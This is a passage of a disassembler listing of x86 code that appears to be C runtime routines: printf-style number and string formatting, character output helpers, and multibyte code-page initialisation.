		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_442150
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_44215C
		pop	ecx

loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_442154
		pop	ecx

loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi

loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi

loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------

loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_441DC0
		mov	[ebp+var_8], ecx

loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx

loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------

loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8

loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7

loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------

loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------

loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------

loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx

loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h

loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah

loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------

loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax

loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------

loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------

loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------

loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx

loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03

loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------

loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx

loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0

loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------

loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h

loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0

loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax

loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E

loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]

loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------

loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9

loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h

loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax

loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------

loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------

loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h

loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1

loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h

loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h

loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]

loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------

loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h

loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h

loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB

loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------

loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]

loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26

loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]

loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C

loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4E1F84
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_441DD0

loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_441EC0
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 28E0000h
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4E20A0
		cmp	[ebp+var_18], 1
		mov	dword_4E1F84, esi
		rep stosd
		stosb
		mov	dword_4E21A4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]

loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl

loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4E20A1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------

loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4E20A0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_441DE0[esi]

loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2

loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_441DC8[edx]

loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4E20A1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90

loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76

loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4E1F9C, 1
		push	eax
		mov	dword_4E1F84, eax
		call	sub_42008C
		lea	esi, dword_441DD4[esi]
		mov	edi, offset dword_4E1F90
		movsd
		movsd
		pop	ecx
		mov	dword_4E21A4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------

loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30

loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax

loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4E20A1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4E21A4, eax
		mov	dword_4E1F9C, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------

loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4E1F9C, ebx

loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4E1F90
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------

loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4E0BB0, ebx
		jz	short loc_42003A

loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF

loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8

loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------

loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh

loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4E0BB0, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4E0BB0, 1
		jmp	near ptr 2660899h
; ---------------------------------------------------------------------------
		dec	ebx

loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4E0BB0, 1
		nop
		jmp	near ptr 28E07B5h
; ---------------------------------------------------------------------------

loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4E0BF4
		mov	dword_4E0BB0, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4E20A0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4E1F90
		mov	dword_4E1F84, eax
		mov	dword_4E1F9C, eax
		mov	dword_4E21A4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4E1F84
		nop
		call	near ptr 28E0000h
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h

loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]

loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx

loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4E21A4
		push	dword_4E1F84
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4E1F84
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4E21A4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4E1F84
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4E21A4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]

loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4E20A1[eax], 10h
		mov	dl, [ebp+eax+var_214]

loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4E1FA0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------

loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4E20A1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------

loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4E1FA0[eax], 0

loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------

loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h

loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4E20A1[eax], 10h
		mov	cl, al
		add	cl, 20h

loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4E1FA0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------

loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4E20A1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------

loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4E1FA0[eax], 0

loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228

loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4E21D4, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4E21D4, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4E1F9C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------

loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]

loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4E20A1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------

loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2

loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------

